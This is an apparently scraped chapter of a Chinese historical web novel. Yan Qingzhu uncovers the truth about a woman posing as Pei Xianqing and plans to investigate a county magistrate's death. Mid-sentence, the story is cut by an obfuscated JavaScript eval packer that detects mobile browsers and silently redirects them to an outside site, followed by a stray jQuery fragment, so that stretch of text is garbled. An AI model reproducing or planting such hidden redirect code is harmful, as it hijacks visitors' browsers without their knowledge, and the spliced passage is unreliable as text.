见她不再搭话,晏青竹在她身后,一一为她解释,“刚刚见到你时,我就觉得奇怪,你处处小心,行事丝毫不像一个大家闺秀。当我提到裴申,你表情虽没异常,但袖里发抖的手臂,却骗不了自己。”
“你每月初二都来此上香,莫不是,裴显清便是初二死的。”
“话已至此,你还不打算与我交个朋友吗?”
裴显清没有回答,只是片刻停留,还是离开了。
晏青竹有些许的沮丧,一个人又重新坐回了石凳上,一阵风刮过,树上的树叶沙沙作响,而这时燕鸿声悄悄的在她的身坐下。
“你跟踪我。”晏青竹些许不快的说道。
燕鸿声同样也有些不快,“你答应我的,你还是来了。”
说着晏青竹站了起来,插起了腰,“我可没答应你,我只说了尽量。”
燕鸿声一脸无奈,问起裴显清的事,“你怎么知道她不是真的裴显清?”燕鸿声同样好奇,她怎么会如此笃定。
谁知,晏青竹竟一脸淡定的回答,“我当然不知道,要说知道,也只是一点点猜测,“
“所以你是诈她。”燕鸿声颇为震惊
“倒也算不上诈她,只是试上一试,”,晏青竹不解的问道,“你们调查这么久,都没发现裴显清的事?”
“略有耳闻,只是觉得不足采信。你又是怎么敢笃定?”
晏青竹回忆起那日裴府的事,“是因为裴申,他那日和我说了许多裴显清的事,可是,说到一件事,神色便陡然一变。”
“是何事。”
“他说裴显清八岁回了城外的庄子,之后的事还没说,便戛然而止,表情也很是奇怪,而裴显清其人也不像是高门贵女的作风。”
燕鸿声了然了,点了点头,又起了阵风,燕鸿声看向穿着单薄的晏青竹,便说道,“走吧,送你回去。”
晏青竹有些不愿,她还想再等等,裴显清说不准会回来找她。
燕鸿声似是看穿了她的心思,便说道,“她今日定不会回来了,但是他日,或许会来找你的。”
看着晏青竹难掩的失落,燕鸿声故意道,“再不走,我便将你扛走了。”
晏青竹头次听见一向循规蹈矩,不逾越半分的宏升说这样的话,不禁有点好笑,燕鸿声一头雾水的问道,“笑什么”
晏青竹一本正经的回答,“你的威胁很有用!”
两日后,裴显清果然来了鹊桥仙。
晏青竹看见了来人,便直接请她来了后院,刚坐下,裴显清便直言,“姑娘用不着用这事来威胁我,这件事本就是裴申本就知晓,并且晏姑娘还不知道的,假扮裴显清,就是裴申授意的。”
晏青竹心下也有了数,她也略微猜到,裴申定是知情的,继续听对方说,“我也不会帮姑娘你做什么伤害裴家的事,另外,裴显清的死你们也毫无证据,想用这件事作要挟,我劝你还是死了这条心吧。”
晏青竹坦然的说,“你与裴申想必也是互相利用的关系,你利用他享进荣华,他利用你去攀高门富贵。”
裴显清笑着说,“这你便真的猜错了,裴申确实许我一生荣华富贵,但要我做的只是扮演好他的女儿,照顾好裴夫人罢了。”
“想必你不知道裴申为何宁愿找人假扮裴显清,而不是再生一个孩子,八岁那年,是裴夫人与裴显清一同来的庄子,裴显清在湖边玩耍,失足掉落了湖里,此时裴夫人正巧外出,待她回来时,裴显清已经没了气息。”
“裴夫人自责不已,从此记忆便停留在了裴显清死的那天,直到裴申将我领了回来,裴夫人才稍稍好转,但她不记得裴显清的死,便一直将我当作裴显清。”
见晏青竹不说话,她又说道,“真相我已全部告知,想怎么样都随意你吧。”
话毕,裴显清不欲多说,当即便离开了鹊桥仙。
独留晏青竹在院子里思索着,裴申虽是十恶不赦,可裴显清与裴夫人实在无辜。
她也生了些不忍。这时,燕鸿声从屋顶跳了下来。
裴显清来之前不久,燕鸿声碰巧看见了,便暗中在屋顶观察,见裴显清走了,他才下来。
看着晏青竹的神态,他说道,“于心不忍了?”
“那倒是不至于,裴申不管有如何遭遇,都不是他草菅人命的理由。”
燕鸿声点了点头,又提醒道,“裴显清没那么简单,她的话不要全信。”
晏青竹也感觉到了奇怪之处,只是裴显清未免太过坦然,一副天不怕地不怕的样子。
燕鸿声看着她凝重的神色,不自觉的伸手抚平了她皱起的眉头,晏青竹感受到了不一样的温度,抬头看着他的动作。
燕鸿声才自觉失礼,“我。。我想起东宫还有事,先走了。”
撂下一句话就落荒而逃。晏青竹被他可爱到了,“明明被占便宜的好像是我,怎么他跑那么快。”晏青竹摇了摇头,不再想那些烦心的事。
既裴显清的事后,他们对裴申的调查又到了死胡同,不过,好在裴申暂时也没什么行动,晏青竹又恢复了之前的样子。
鹊桥仙里,她坐在一旁,看着在店里跑来跑去的谢成瑜。在一旁的雅间,认真作画的南黎,想着这样平凡普通的日子就很美好。
但晏青竹觉得谢成瑜好像有话要跟她说,她的眼神不停的看向自己,模样实在好笑,晏青竹回看回去,顺便说道,“怎么了,有事就说?”
谢成瑜拿着抹布,扣着手,半天,才问道,“晏姐姐,我姐姐和姐夫有没有回信啊。”可能是日子过得太舒服,晏青竹竟忘了谢成瑜还在盼着她的姐姐回来。”
晏青竹神色一变,谢成瑜还以为自己太烦了,忙说道,“我就随便问问,晏姐姐。”
便要向着一旁跑去,晏青竹拉住她,说道,“嗯。。。你姐姐所在的地方,离我们很远,可能信要很久,很久才能送到。”
谢成瑜有点失落,但还是表现出一副高兴的样子,说道,“不碍事的,我很好,我就是担心他们。”
“放心吧,他们会很好的。。。”
晏青竹看着谢成瑜又充满活力的去干活去了,心中涌出了许多酸楚。
从裴显清身上下手,想是没那么容易了。
她记得燕鸿声和她说朱家的事,看来她也要去趟朱家。
次日一早,她便带着东西去了朱府,顶着找程霜的幌子,也顺便来看看朱家到底藏着什么秘密。
到了朱府,派人通传后,下人带着晏青竹穿过前厅,去了程霜所在的院子,程霜坐在院子里等她,见她进来,便屏退了下人。
程霜很是敏锐,除非要事,晏青竹定不会到朱府找她,程霜边倒茶边问道,“竹月,你找我有什么事吗?”。
晏青竹担心隔墙有耳,用手沾了茶水,在桌上写道,“鹊桥仙。”
程霜便知晓其中含意,两人只是像平常一样,聊了些家常,晏青竹便离开了。
程霜叫人送她出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230134|165557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去后,便寻着个由头也出了府,在东市西市转了好一会儿,才借机从鹊桥仙的后门,进了后院。
晏青竹在那里等她,到了鹊桥仙,晏青竹才敢放心与程霜说话,“朱府可能有问题,你一定要小心。”
听到这些的程霜,非但没有表现出担心的痕迹,彷佛早料想到的一般,说道,“竹月,你是不是知道些什么,我爹的事到底是不是和朱府有关。”
晏青竹不知其中缘由,不好直接与她说些什么,只是轻拍的她的肩膀,安慰道,“程霜,不要轻举妄动,先保护好自己。程县令的事,我虽不知晓其中真相,但是朱府或许与裴申有关。”
“裴申?裴尚书?”程霜并不了解裴申,之前也从未知晓裴申为人,程县令的事也从未怀疑到裴申头上过,一系列线索,在程霜的脑中汇成一片。
程霜没再追问,只是问道,朱府之事如有需要她帮忙,一定要告诉她。
而晏青竹并不想让她涉险,“程霜,你保护好自己即可,其他的,我们慢慢来。”
程霜为不惹人怀疑,不便停留太久,很快便离开了。
程霜刚走不久,燕鸿声便到访了,晏青竹看着消息如此迅速的燕鸿声,心里很是疑惑,她不觉得是巧合,便问道。
“你暗中监视了朱府?”
听着晏青竹笃定的语气,燕鸿声直言不讳,“不错。”
“那可有发现什么?”
“没什么发现。”
“程霜父亲的事是不是真的与朱府有关。”
燕鸿声惊讶程霜连这些都告诉了她,“与朱府有没有关系尚未可知,可以肯定的是与裴申脱不了干系。”
“程霜的父亲,是京城向北十公里外的东县的县令,二年前,东县突发大旱,京城的粮草却迟迟不至。陛下便派了裴申前出赈灾,路上,便听闻程县令畏罪自杀的消息,而粮草也在裴申到达的前一天,运至了东县,裴申也因此次赈灾有功,得了封赏。
“而真相到底如何,就无人知晓了。”
晏青竹直截了当的问道,“你早就知道程霜是程县令的女儿?”
“确实,那日宣乐坊外的偶遇,不是巧合,我正是为查此事而来。”燕鸿声将关于程县令的事全盘托出。
“程寒应当知道些什么,只是他不愿说。”
晏青竹在院子里走来走去,细细思考着,既然是在东县出的事,他们势必要当东县去一趟,才好找寻事情的真相,一盏茶后,晏青竹下定了决心,“我们去趟东县,看看当年到底是什么样的情况。”
“可是,两年过去,也无迹可寻了。”燕鸿声实话实说
“地上的痕迹可能会消失,可心里的痕迹是不会消失的,从当年的百姓口中应当能发现一些蛛丝马迹。”
燕鸿声不可否认,人心虽是善变的,有时又确实是柔软的,便说道,“我去宫中知会太子一声,明日辰时,我们出发。”
东宫,月亮高悬,月光洒在金色的大殿上,映出的是威严肃穆还有着无尽的悲凉,燕鸿声坐在宫外的台阶上,看着月亮,不久,无边回来了。
“孤要去东县一趟,东宫你帮孤守着,有急事,就去找魏伯宁。”
“东县?殿下为何又去东县。”
“去查程县令的事,该有个结果了。”
“殿下,我也随你去。”
“不用,孤有分寸,你只需守好东宫即可。”
无边领命,“那我等殿下平安归来。”